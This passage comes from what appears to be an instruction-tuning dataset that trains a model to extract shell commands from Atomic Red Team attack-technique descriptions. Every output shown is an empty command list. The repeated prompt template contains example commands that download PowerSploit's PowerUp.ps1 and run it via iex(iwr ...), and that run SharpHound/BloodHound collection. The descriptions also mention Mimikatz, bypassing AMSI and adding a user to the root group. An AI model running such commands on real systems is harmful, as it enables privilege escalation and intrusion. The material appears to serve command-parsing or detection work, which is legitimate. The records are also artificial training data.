or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel.\nUpon successful execution, MSP360 Connect will be executed.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Utilize Get-Process PowerShell cmdlet to identify processes.\n\nUpon successful execution, powershell.exe will execute Get-Process to list processes. Output will be via stdout. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Performs pheripheral device discovery utilizing fsutil to list all drives.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n List opened files by user\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Executes outdated PowerShell Version 2 which does not support security features like AMSI. By default the atomic will attempt to execute the cmdlet Invoke-Mimikatz whether it exists or not, as this cmdlet will be blocked by AMSI when active.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Creates a new user in Linux and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 